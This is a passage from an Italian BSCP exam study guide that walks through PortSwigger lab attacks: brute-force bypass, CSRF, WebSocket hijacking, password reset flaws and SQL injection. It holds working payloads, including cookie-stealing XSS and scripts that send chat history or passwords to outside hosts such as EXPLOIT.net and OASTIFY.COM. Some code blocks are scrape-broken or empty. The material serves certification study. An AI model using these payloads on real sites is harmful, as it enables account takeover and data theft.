document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>

Decodifica in Base64 il valore del cookie stay-logged-in e usa un database online di una stazione di cracking di hash MD5.

stay-logged-in Offline

PortSwigger Lab: Cracking offline delle password

Login protetto da forza bruta

Identificata la protezione contro la forza bruta sul login quando il backend impone un ban di 30 minuti, con conseguente IP bloccato dopo troppi tentativi di accesso non validi. Testare l'header X-Forwarded-For: consente di bypassare la protezione contro la forza bruta. Osservando il tempo di risposta con una password lunga non valida, possiamo usare la tecnica Pitchfork per identificare i primi username validi con una password lunga casuale, e poi rieseguire Intruder con Pitchfork, impostando ogni posizione del payload: l'attacco itera attraverso tutti i set simultaneamente.

Burp Lab Wordlist per Username, Password e fuzzing di directory

Posizione del payload 1 sull'indirizzo IP per X-Forwarded-For: e posizione 2 sull'username con una password lunga, per vedere il ritardo del tempo di risposta nella finestra delle colonne dell'attacco.``` X-Forwarded-For: 12.13.14.15

root@kitploit:~
![Intruder Pitchfork](https://assets.kitploit.com/production/public/readmes/51008/66026c73089a17cd963c3f4604ee2c5eb87ca8d728f8e439873461a65886511b/57f16b4c63a4656510202fb58c8982bbdf9ab729ca4beb4a187b5026f66129bb-display-v1.webp)  

>Ripeti l'attacco Intruder **Pitchfork** di cui sopra sul campo password, quindi ***identifica*** la password valida dalla colonna di stato con un risultato 302.  

[Laboratorio PortSwigger: enumerazione degli username tramite timing di risposta](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)  
  
### Login Non Valido Subdolo  

>***Identifica*** che la pagina di login e il ripristino della password non sono protetti da attacchi di forza bruta e che non viene applicato alcun blocco IP o timeout per username o password non validi.  

>Suggerimento per l'esame BSCP: a volte c'è un altro utente con una password debole che può essere forzata tramite brute force. Carlos non è sempre l'account da prendere di mira per ottenere un accesso iniziale nella fase 1.  

![Subtly invalid login](https://assets.kitploit.com/production/public/readmes/51008/34b633ea5cc880f83ce62425f6cedfe66b071c6da84838036fdb877693c30d3c/1909672808f6935dcad4ad54ae81211b41c104f0e6e6a8caecac2ad37fce6cfe-display-v1.webp)  

>Nota che nella colonna dell'attacco Intruder per il valore GREP, ```Invalid username or password.```, il messaggio di risposta per un attacco con username non valido non contiene il punto fermo alla fine. Ripeti l'attacco con questo username ***identificato***, ed esegui un attacco **Sniper** sul campo password per ***identificare*** la risposta ```302``` per il login valido.  

![Refresh Password](https://assets.kitploit.com/production/public/readmes/51008/902b614feb19dcbd95a3d8c7cdd0b4fb3beb1187c567ad7e5ef6a0eff0afc759/6777d0da3b54f56334d8b81dd648ba26bf558fff7a0bea4079089ae0738af940-display-v1.webp)  

>Nell'esame BSCP ***cerca*** altri messaggi restituiti che siano diversi e rivelino account validi nell'applicazione, consentendo l'***identificazione*** tramite forza bruta delle password degli account, come nell'esempio della funzione [refresh password reset](#refresh-password-broken-logic).  

>Una volta identificato un username valido da un messaggio di risposta diverso, esegui la [forza bruta](#brute-force) usando Burp Intruder sulla password.  

[Laboratorio PortSwigger: enumerazione degli username tramite risposte leggermente diverse](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)  

>Un altro scenario per identificare un username valido sull'app WEB è fornire una lista di username al login e un unico valore di password non valido. Nei risultati dell'attacco Intruder, una risposta conterrà il messaggio `Incorrect password`.  
>Posizione di iniezione dell'attacco Intruder, `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.  

[Laboratorio PortSwigger: enumerazione degli username tramite risposte diverse](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)  
  
-----

## Autenticazione  

[Registrazione Account](#account-registration)  
[Macro di bypass del token di autenticazione](#auth-token-bypass-macro)  
  
### Registrazione Account  

>Una falla nella logica di business della funzionalità di registrazione account consente di ottenere un accesso iniziale con il ruolo dell'utente target. [Content Discovery](#content-discovery) trova il percorso ```/admin```; il messaggio indica che l'interfaccia Admin è disponibile solo se si accede come utente **DontWannaCry**.  

![Register length flaw](https://assets.kitploit.com/production/public/readmes/51008/9e90582af49743f7b9087c67a20d69bf74b4b8ef0dab1fbdff3a60392b9cd840/72715f12a9b48d4d37c280f2ac392de70361075d62642755035855d51a8d29ab-display-v1.webp)  

>La creazione di un'email con più di 200 caratteri prima del simbolo ```@``` viene poi troncata a 255 caratteri. Questo ***identifica*** la vulnerabilità nella **falla** logica della pagina di registrazione account. Nell'email sottostante, la ```m``` alla fine di ```@dontwannacry.com``` è esattamente il carattere 255.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

Inconsistent-handling-exceptional-input

PortSwigger Lab: gestione incoerente dell'input eccezionale

Macro di bypass del token di autenticazione

Se il login di autenticazione è protetto contro la forza bruta utilizzando un token casuale impiegato in ogni POST di login, è possibile utilizzare una Macro di Burp per bypassare la protezione.

Crea una Macro di Burp

  1. Apri le impostazioni Proxy e seleziona sessions in Project choices.
  2. Scorri fino a Macros e aggiungi una nuova macro.
  3. Seleziona request dall'elenco per il valore da utilizzare.
  4. Fai clic su Configure item e aggiungi la posizione del parametro personalizzato da estrarre.
  5. Fai clic su OK per tornare a Sessions in Project choices.
  6. Aggiungi una regola di gestione delle sessioni e si apre la finestra di dialogo dell'editor.
  7. Nella finestra di dialogo, vai alla scheda "Scope".
  8. Nell'ambito dell'editor delle regole di gestione delle sessioni, spunta Target, Intruder e Repeater.
  9. Sempre in "URL Scope", seleziona Include all URLs.
  10. Chiudi le impostazioni.

Come creare una Macro in Burp Suite Professional

PortSwigger Lab: falla logica del denaro infinito - come creare una Macro di Burp


Escalation dei privilegi

Account Takeover tramite CSRF

OAuth
CSRF con validazione del Referer
Intestazione Referer presente
LastSearchTerm
CSRF duplicato nel cookie
Token CSRF presente
È loggato
CSRF senza difese
Bypass di SameSite Strict
Bypass di SameSite Lax

La vulnerabilità Cross-Site Request Forgery consente a un attaccante di costringere gli utenti a eseguire azioni che non intendevano compiere. Questo può permettere all'attaccante di modificare l'indirizzo email della vittima e usare il reset della password per assumere il controllo dell'account.

OAuth

Exploit del collegamento OAuth: ospita un iframe sul server di exploit, poi consegnalo alla vittima, costringendo l'utente ad aggiornare il codice collegato.

csrf

Intercetta la richiesta GET /oauth-linking?code=[...]. Inviala a Repeater per salvare il codice. Drop la richiesta. Importante per assicurarsi che il codice non venga utilizzato e rimanga valido. Salva sul server di exploit un iframe in cui l'attributo src punti all'URL che hai appena copiato.```html

root@kitploit:~
[Lab PortSwigger: collegamento forzato del profilo OAuth](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)  
  
### CSRF nella validazione del Referer  

>***Individua*** che la funzione di modifica email è vulnerabile a CSRF osservando che quando il valore dell'header **Referer** viene modificato, la risposta restituisce il messaggio `Invalid referer header`, e la modifica dell'email viene accettata quando il valore del referrer contiene il dominio target atteso da qualche parte nel valore.  

![identifica il controllo dell'header referer per CSRF](https://assets.kitploit.com/production/public/readmes/51008/0079dbd0e1ec1a68beb7853c04e86b3f80604413c126d203c93e1c2bb0f077d2/de7db5ae7069fafd14a3ddbc461c22d6fb39765e149e354e24fa97ff457156de-display-v1.webp)  

>Aggiungendo il dominio originale del target e aggiungendo `history.pushState('', '', '/?TARGET.net');` all'header **Referer** sotto forma di query string, si consente alla modifica dell'email di andare a buon fine.```html
Referrer-Policy: unsafe-url

Nota: A differenza della normale ortografia dell'header Referer, la parola "referrer" deve essere scritta correttamente nella sezione head del server di exploit.

Referer csrf

Creare un exploit proof of concept per CSRF e ospitarlo sul server di exploit. Modificare il JavaScript in modo che il terzo argomento della funzione history.pushState() includa una query string con l'URL di destinazione.```html

``` >Quando il payload di exploit di cui sopra viene consegnato alla vittima, il payload del POC CSRF modifica l'email della vittima in **[email protected]**, poiché l'header Referer conteneva il target nel valore. Nell'esame ***BSCP*** prendi nota del tuo indirizzo email del server ```hacker@exploit``` da usare per l'account takeover.

Laboratorio PortSwigger: CSRF con validazione Referer non funzionante

Header Referer presente

Nella richiesta di aggiornamento email, quando si modifica l'header referer, la risposta indica Invalid referer header, identificando la vulnerabilità CSRF. Utilizzando il <meta name="referrer" content="no-referrer"> come parte del PoC CSRF del server di exploit, questo controllo può essere bypassato. Questo istruisce il server di exploit a consegnare l'exploit alla vittima senza l'header referer.```html

``` >Questo è un exploit interattivo e nell'esame BSCP se l'exploit dello stage 1 non era interattivo, questo può essere usato per ottenere l'interazione dell'amministratore facendole cliccare sul link per cambiare la propria password. Nota: controllare il `source code` della pagina di cambio email per eventuali valori aggiuntivi di form id.

csrf referer present

PortSwigger Lab: CSRF dove la validazione del Referer dipende dalla presenza dell'header

LastSearchTerm

Identificare la vulnerabilità CSRF in cui il token non è legato a un cookie di non-sessione, modificando il cookie csrfkey e osservando il risultato che la richiesta viene rifiutata. Osservare il valore del cookie LastSearchTerm che contiene l'input fornito dall'utente dal parametro di ricerca.

identify-csrf-non-session-tied.png

La funzione di ricerca non ha protezione CSRF, creare il payload sottostante che inietta caratteri di nuova riga %0d%0a per impostare un nuovo valore di cookie nella risposta, e usarlo per iniettare cookie nel browser dell'utente vittima.``` /?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None

root@kitploit:~
>Genera il POC CSRF, abilita l'opzione per includere uno script **auto-submit** e fai clic su **Rigenera**. Rimuovi il blocco di codice dello script **auto-submit** e aggiungi quanto segue al suo posto, e posiziona il codice dello script ```history.pushState``` sotto l'intestazione del body. L'**onerror** del tag IMG SRC invierà invece il POC CSRF.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">

Durante BSCP Esame imposta il valore di modifica email sull'indirizzo email del server exploit [email protected]. Quindi puoi cambiare la password dell'amministratore con la funzione di reset.

csrf set cookie poc

Nel codice PoC CSRF sottostante, il valore csrf nascosto è quello generato dalla funzione change email e il valore csrfkey nell'img src è il valore della vittima, ottenuto accedendo con le credenziali fornite della vittima. non sono sicuro per l'esame, ma nel mondo reale questo è un test da eseguire.```html

``` [PortSwigger Lab: CSRF dove il token è legato a un cookie non di sessione](https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-tied-to-non-session-cookie)

CSRF duplicato nel cookie

Nel target identifichiamo che il token chiave CSRF è duplicato nel valore del cookie. Un altro indicatore è il cookie LastSearchTerm che contiene il valore cercato. Fornendo un valore di ricerca che contenga %0d%0a possiamo iniettare un carattere di fine riga e nuova riga per creare un nuovo cookie e valore CSRF.

set cookie csrf fake

Nel codice exploit il tag img src imposta il cookie per csrf su fake.```html

``` ![csrf cookie duplicato](https://assets.kitploit.com/production/public/readmes/51008/67ac727205b3321a5f0b6263b9fa5e6c0a1e567e4605f7c47edf3f949a6f6239/6622e0aac8672c17f7b081ac3af58e6665f1b77375e5f3ef2efcfe58c30216fd-display-v1.webp)

Laboratorio PortSwigger: CSRF in cui il token è duplicato nel cookie

Token CSRF Presente

La modifica del valore del parametro csrf comporta il rifiuto della richiesta di cambio email. L'eliminazione del token CSRF consente al cambio email di essere accettato, e questo identifica che la validazione della presenza del token è vulnerabile.

Payload PoC CSRF ospitato sul server di exploit:```html

``` ![csrf present validation fail](https://assets.kitploit.com/production/public/readmes/51008/799f288a181bfb513f77125ec652d0d40e33878c81e230b3fcf6681fca926b50/bc205b49b4f58d8a51215bc9f7cbaa2f312f03f3ed524f7ee7778a223c1b7748-display-v1.webp)

PortSwigger Lab: CSRF dove la validazione del token dipende dalla presenza del token

Ha effettuato l'accesso

Se un cookie con il nome isloggedin viene identificato, allora una richiesta POST di aggiornamento della password di amministratore potrebbe essere sfruttata.
Cambia il parametro username in administrator mentre si è connessi come utente con privilegi ridotti.
Il token CSRF non è legato alla sessione utente.```html POST /refreshpassword HTTP/1.1 Host: TARGET.net Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d Content-Length: 60 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://TARGET.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/; X-Forwarded-Host: EXPLOIT.net X-Host: EXPLOIT.net X-Forwarded-Server: EXPLOIT.net Referer: https://TARGET.net/refreshpassword Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close

csrf=TOKEN&username=administrator

root@kitploit:~
![CSRF privesc](https://assets.kitploit.com/production/public/readmes/51008/6e45b81f9d54e5214924f032463b6f4f5eb9cdb28412f64ce9a823f6d6262b17/ddc915c61d778debd9f3dd2808cb4043859b9f6865d26d718536d8d06e5bc4f8-display-v1.webp)  
  
### CSRF senza difese  

>Il target senza difese contro la funzione di cambio email può consentire l'escalation dei privilegi al ruolo di amministratore. Nell'esame, cambiare l'email con l'indirizzo `[email protected]` sul server exploit può consentire all'attaccante di cambiare la password dell'utente amministratore, con conseguente escalation dei privilegi.  
>Nell'esame c'è solo ***un*** utente attivo, e se la fase precedente è stata completata usando un attacco che non richiedesse all'utente attivo di cliccare su un link, effettuando cache poisoning o un attacco di phishing tramite la funzione `Deliver to Victim`, allora è possibile utilizzare l'exploit di modifica tramite CSRF.  

![csrf-change-email.png](https://assets.kitploit.com/production/public/readmes/51008/6c60faf6361552e4964ca0299ebb1608cacc054461745662e4f9383ffedaaf3b/236a9dc558e23d3a3d4c98560cc25d64205efec80144ca7eeb993495d3a59cdd-display-v1.webp)  

[PortSwigger Lab: vulnerabilità CSRF senza difese](https://portswigger.net/web-security/csrf/lab-no-defenses)  

### Bypass di SameSite Strict  

>Nella funzione chat live, notiamo che la richiesta `GET /chat HTTP/2` non utilizza token imprevedibili; questo può ***identificare*** una possibile vulnerabilità di [cross-site WebSocket hijacking](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) (CSWSH) se è possibile bypassare la restrizione dei cookie [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions).  

>Ospita sul server exploit il payload POC per ***identificare*** la vulnerabilità CSWSH.```
<script>
    var ws = new WebSocket('wss://TARGET.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

L'attributo SameSite=Strict è impostato per i cookie di sessione e questo impedisce al browser di includere questi cookie nelle richieste cross-site XSS. Identifichiamo l'header Access-Control-Allow-Origin in richieste aggiuntive a script e immagini verso un sottodominio su cms-.
Navigando verso questo sottodominio CDN su cms- e poi identificando che l'input casuale del nome utente viene riflesso, è stata confermata la presenza di una vulnerabilità di XSS riflesso.

cms reflected xss samesite bypass``` https://cms-TARGET.net/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass

root@kitploit:~
>Bypassare le restrizioni SameSite, codificando tramite URL l'intero script qui sotto e usandolo come input per il sottodominio CDN al login con nome utente `cms-`, ospitato sul server di exploit.```
<script>
    var ws = new WebSocket('wss://TARGE.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

Ospita quanto segue sul server di exploit e consegnalo alla vittima; una volta che il collaborator riceve la cronologia chat della vittima con la sua password, ne consegue l'account takeover.```

root@kitploit:~
>La cronologia della chat contiene la password della vittima.

![chat-history.png](https://assets.kitploit.com/production/public/readmes/51008/882911320e69de26eefa71e4f3d6b6a6fdeac737f45a313863dac4c93cd3d225/f3cfe7ef3a4e620433e55ea3f5312a26e94a6e45e5bf1bd56d702548ceb2cbb4-display-v1.webp)  

[PortSwigger Lab: SameSite Strict bypass via sibling domain](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)  

### Bypass di SameSite Lax  

>Osserva che se visiti `/social-login`, questo avvia automaticamente l'intero flusso OAuth. Se hai ancora una sessione attiva con il server OAuth, tutto ciò avviene senza alcuna interazione., e nella cronologia del proxy, nota che ogni volta che completi il flusso OAuth, il sito target imposta un nuovo cookie di sessione anche se eri già autenticato.  

>Per bypassare il blocco dei popup e indurre la vittima a cliccare sulla pagina, il popup si apre solo dopo che la vittima ha cliccato, con il seguente JavaScript. Il codice JavaScript dell'exploit prima aggiorna la sessione della vittima forzando il suo browser a visitare `/social-login`, poi invia la richiesta di modifica dell'email dopo una breve pausa. Consegna l'exploit alla vittima.```
<form method="POST" action="https://TARGET.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://TARGET.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

PortSwigger Lab: SameSite Lax bypass via cookie refresh


Reset della password

Logica di reset password difettosa
Password corrente
Token di password sensibili al tempo

Logica di reset password difettosa

Se la funzionalità di reset della password dell'applicazione è difettosa, questa vulnerabilità può essere sfruttata per identificare account validi o ottenere il token di reset della password. Questo può portare a identificare account utente validi o a un'escalation dei privilegi.

Questo è il tipo di vulnerabilità che non richiede che un utente attivo sull'applicazione interagisca con l'exploit, e che non richiede alcun clic dell'utente su un link o alcuna interazione. Prendi nota delle vulnerabilità che non richiedono un utente attivo sull'applicazione per l'esame BSCP, poiché ciò significa che nella fase successiva dell'esame è possibile utilizzare, ad esempio, altri link di phishing interattivi inviati alla vittima.

Identifica nel source code della pagina /forgot-password che lo username è un campo nascosto.

Username nascosto nel reset della password

Sfrutta la richiesta POST eliminando il parametro temp-forgot-password-token sia nell'URL che nel corpo della richiesta. Cambia il parametro username in carlos.

Temp-forgot-password-token

PortSwigger Lab: Password reset broken logic

Password corrente

Identifica che la funzionalità di cambio password non richiede il parametro current-password per impostare una nuova password, e l'utente di cui verrà cambiata la password è determinato dal parametro POST username=administrator
Nei lab di PortSwigger ti vengono fornite le credenziali per wiener:peter, il che simula, nella fase 1 dell'esame, l'accesso ottenuto come utente di basso livello. Nell'esame, questa vulnerabilità di reset della password è un esempio di come sia possibile, senza interazione da parte di un utente attivo, elevare i propri privilegi fino all'accesso come admin.

Intercetta la richiesta /my-account/change-password poiché il token csrf è un valore casuale monouso, imposta username=administrator e rimuovi il parametro current-password.

Cambio password senza password corrente

PortSwigger Lab: Weak isolation on dual-use endpoint

Token di password sensibili al tempo

Il sito di destinazione utilizza i timestamp per generare un URL del token di reset della password basato su hash.

Inviando richieste parallele e forzate di reset della password per due utenti diversi nello stesso momento,
si otterranno token corrispondenti duplicati, perché lo stesso timestamp viene utilizzato dal backend per generare i token di reset.

Il nostro utente carlos riceve l'URL del token di reset nella propria email e poi modifica il nome nell'URL per farlo corrispondere all'utente vittima administrator.

portswigger_race_condition_force-forgot-password-tokenz.png

PortSwigger Lab: Exploiting time-sensitive vulnerabilities

Riferimento: appunti di studio di API University e dei PortSwigger Labs


SQL Injection

Blind Time Delay
Blind SQLi
Blind SQLi no indication
Blind SQLi Conditional Response
Oracle
SQLMAP
Non-Oracle Manual SQLi
Visual error-based SQLi
HackTheBox CPTS SQLi Fundamentals

Le vulnerabilità di SQL injection basate sugli errori (error based) o cieche (blind) consentono di utilizzare le query SQL in un'applicazione per estrarre dati o credenziali di accesso dal database. SQLMAP viene utilizzato per accelerare l'exploit e recuperare le informazioni sensibili.

Identifica la SQLi aggiungendo un doppio apice (") o un apice singolo (') ai parametri web o ai cookie di tracciamento; se questo rompe la sintassi SQL provocando una risposta con messaggio di errore, allora è stata identificata una SQL injection positiva. Se non viene osservato alcun errore o messaggio condizionale, testa i payload di Time delays per SQL injection cieca.

Esempi di cheat sheet per SQL Injection

Identifica il parametro di input vulnerabile all'SQL injection

Blind Time Delay

La SQL injection cieca con time delays è difficile da identificare; il fuzzing richiede ipotesi informate (educated guessing), come mi ha insegnato anche OffSec in OSCP. Il payload riportato di seguito eseguirà un'espressione CASE condizionale per ritardare la risposta di 10 secondi se viene identificata una SQL injection positiva.

Identifica la vulnerabilità SQLi. Nell'Esame pratico Burp Stage 2 i filtri di ricerca avanzata sono vulnerabili a PostgreSQL. Ho trovato che con SQLMAP è complicato identificare e sfruttare la vulnerabilità dell'esame pratico nella ricerca avanzata. Sfruttamento manuale del time delay dell'SQL injection nell'Esame pratico qui.```SQL ;SELECT CASE WHEN (1=1) THEN pg_sleep(7) ELSE pg_sleep(0) END--

root@kitploit:~
>[Codificato in URL](https://www.urlencoder.org/) `PostgreSQL` payload.```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--

Determina quanti caratteri sono nella password dell'utente amministratore. Per farlo, incrementa il numero dopo il controllo condizionale >1.```SQL ;SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

root@kitploit:~
![blind-time-delay SQLi](https://assets.kitploit.com/production/public/readmes/51008/46c985b647369721299240587ce419b7890ff46abab191040b0da91187e69a6a/833ff096083057dc0b8241e6be68f3488ffbe38ce167d619967c277e987e9123-display-v1.webp)  

>Utilizzando l'attacco CLUSTER Bomb per rieseguire l'attacco per ogni permutazione delle posizioni dei caratteri nella password e determinare il valore del carattere.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

Usando il tipo di attacco CLUSTER bomb con due payload, il primo per la lunghezza della password 1..20 e poi il secondo usando caratteri a..z e numeri 0..9. Aggiungi la colonna Response Received ai risultati dell'attacco Intruder per ordinare e osserva il ritardo di 10 secondi o più come risposta positiva.

blind CLUSTER bomb SQLi

PortSwigger Lab: Iniezione SQL cieca con ritardi temporali e recupero di informazioni

Esame pratico PostgreSQL TimeDelay

Nell'esame pratico Burp, nella fase 2, l'iniezione SQL viene effettuata non usando l'apice singolo ' ma usando un punto e virgola ; e poi codificandolo nell'URL come %3B.```SQL %3BSELECT+pg_sleep(7)--

root@kitploit:~
![esame pratico stage-2 time delay sqli](https://assets.kitploit.com/production/public/readmes/51008/591c6c93d17a4fad71c84924b82f6b102cdcb7403345fc89a25393801b5f4fcb/3de53e0a110faccc64ec3df7bb827afceaec12b28fb13de0e6e942ebdda4cbc8-display-v1.webp)  

>Con un attacco Intruder CLUSTER bomb la password può essere estratta in un unico attacco con due posizioni di payload nel payload qui sotto.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--

La Fase 3 del portale admin dell'esame di pratica Burp richiede lo sfruttamento di un valore di cookie deserializzazione non sicura.

SQLi cieca

Il target è vulnerabile all'esfiltrazione di dati out-of-band tramite query di sfruttamento Blind SQL. In questo caso il cookie trackingID. Di seguito è riportata una combinazione di payload di SQL injection e XXE per sfruttare la vulnerabilità e inviare la password dell'amministratore come richiesta DNS al servizio collaborator.```sql TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--

root@kitploit:~
![Iniezione SQL cieca con esfiltrazione dati out-of-band](https://assets.kitploit.com/production/public/readmes/51008/77ecbd2fb851d947a64ea7f80ed8d2edfae3c11ce5990b5dab193d0089ede73f/34f35502299c43e70be75fe5ad7a9ca416d47c6d5aa53ca52945e7ad54fd72e3-display-v1.webp)  
  
[PortSwigger Lab: Blind SQL injection with out-of-band data exfiltration](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)  
  
>Il payload SQL qui sopra può essere utilizzato anche per estrarre la password dell'amministratore per la sfida di questo [PortSwigger Lab: Blind SQL injection with conditional errors](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors).  

### Blind SQLi senza indicazioni  

>Inserire un apice singolo alla fine del cookie ```trackingid``` o del parametro di ricerca `/search_advanced?searchTerm='` può restituire una risposta `500 Internal Server Error`. Fai un'ipotesi ragionata: utilizzando il payload blind SQLi qui sotto e combinandolo con la tecnica XXE di base, si effettua una chiamata al server di collaborazione ma non viene esfiltrato alcun dato.```sql
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

SQLi XXE

Payload SQLi aggiuntivo con XML come riferimento con || l'operatore di concatenazione SQL per concatenare due espressioni che valutano due tipi di dati carattere o un tipo di dati numerico e fare un po' di offuscamento.``` '||(select extractvalue(xmltype('%fuzz;]>'),'/l') from dual)||'

root@kitploit:~
[OAST - Test di sicurezza delle applicazioni out-of-band](https://portswigger.net/burp/application-security-testing/oast)  

[Laboratorio PortSwigger: Blind SQL injection con interazione out-of-band](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)  
  
### Risposta condizionale Blind SQLi

>Questa blind SQL injection viene ***identificata*** da una piccola differenza di messaggio nelle risposte. Quando si invia una query SQL vera e valida, la risposta contiene la stringa ```Welcome back```. Una query SQL falsa o non valida non contiene il messaggio condizionale nella risposta.```
' AND '1'='1

Istruzione SQL falsa per identificare il messaggio condizionale non presente nella risposta.``` ' AND '1'='2

root@kitploit:~
>Determina quanti caratteri ci sono nella password dell'utente amministratore. Per fare ciò, modifica il valore dell'istruzione SQL in and e, nella scheda **Impostazioni** di intruder, nella sezione "Grep - Match", cancella le voci esistenti nell'elenco e poi aggiungi il valore ```Welcome back``` per ***identificare*** la condizione vera.```
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

Il passo successivo è testare il carattere in ogni posizione per determinarne il valore. Questo comporta un numero molto maggiore di richieste.``` ' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

root@kitploit:~
![sqli conditional response](https://assets.kitploit.com/production/public/readmes/51008/2fa952e19084d8cf044ee00c0af0758f5a2525b6e3eb130e782d5e6e477ab7fa/775c0bc6baba6015d2d25f55994918b7720989ba2c1dad81e807ad893028bc91-display-v1.webp)  

>In alternativa, utilizza un attacco **CLUSTER Bomb** impostando **due** posizioni di payload: la prima per la posizione del carattere con un payload di numeri ```1..20``` e la seconda posizione, utilizzando caratteri alfabetici e numerici; questo itererà attraverso ogni permutazione delle combinazioni di payload.  

![CLUSTER bomb](https://assets.kitploit.com/production/public/readmes/51008/2612fb60c5db8b49266cf925197eb38930d733d225b304e8803298c38bec168e/61ae6550d59a539ec054efdaad8ed27be2f83c3501b78e0072699009e1b66f03-display-v1.webp)  

[Laboratorio PortSwigger: Iniezione SQL cieca con risposte condizionali](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)  
  
### Oracle  

>Identificata l'iniezione SQL aggiungendo una **virgoletta singola** alla fine del valore del parametro `category` e osservando la risposta `500 Internal Server Error`.  
  
>Recupera l'elenco delle tabelle nel database Oracle:```
'+UNION+SELECT+table_name,NULL+FROM+all_tables--

Payload Oracle per recuperare i dettagli delle colonne nella tabella.``` '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_XXX'--

root@kitploit:~
>Payload Oracle per recuperare gli username e le password dalla tabella Users_XXX.```
'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--

PortSwigger Lab: attacco SQL injection, elenco dei contenuti del database su Oracle

SQLMAP

Nell'app dell'esame pratico PortSwigger identifichiamo la SQLi nella funzione di ricerca avanzata aggiungendo un apice singolo e la risposta risulta in HTTP/2 500 Internal Server Error.

Ecco i miei appunti di studio HackTheBox CPTS sugli esempi di SQLMAP per bypassare i meccanismi di protezione WAF primitivi. SQLMAP Essentials - Cases

Dopo alcuni test con le versioni di SQLMAP 1.7.2#stable e 1.6, ho scoperto che entrambe sono in grado di sfruttare l'esame pratico PortSwigger. Walkthrough di bmdyy che svolge l'esame pratico usando SQLMAP come riferimento per i parametri utilizzati.

Discussione sul forum PortSwigger - SQLMAP

Ho svolto l'esame pratico e sono riuscito a sfruttare la SQLi usando il payload qui sotto.``` sqlmap -u 'https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \ -H 'authority: 0afd007004402dacc1e7220100750051.web-security-academy.net'
-H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7'
-H 'accept-language: en-US,en;q=0.9'
-H 'cookie: _lab=YesYesYesYes; session=YesYesYesYes'
-H 'referer: https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer='
-H 'sec-fetch-dest: document'
-H 'sec-fetch-mode: navigate'
-H 'sec-fetch-site: same-origin'
-H 'sec-fetch-user: ?1'
-H 'upgrade-insecure-requests: 1'
-H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36'
-p 'sort-by' -batch --flush-session --dbms postgresql --technique E --level 5

root@kitploit:~
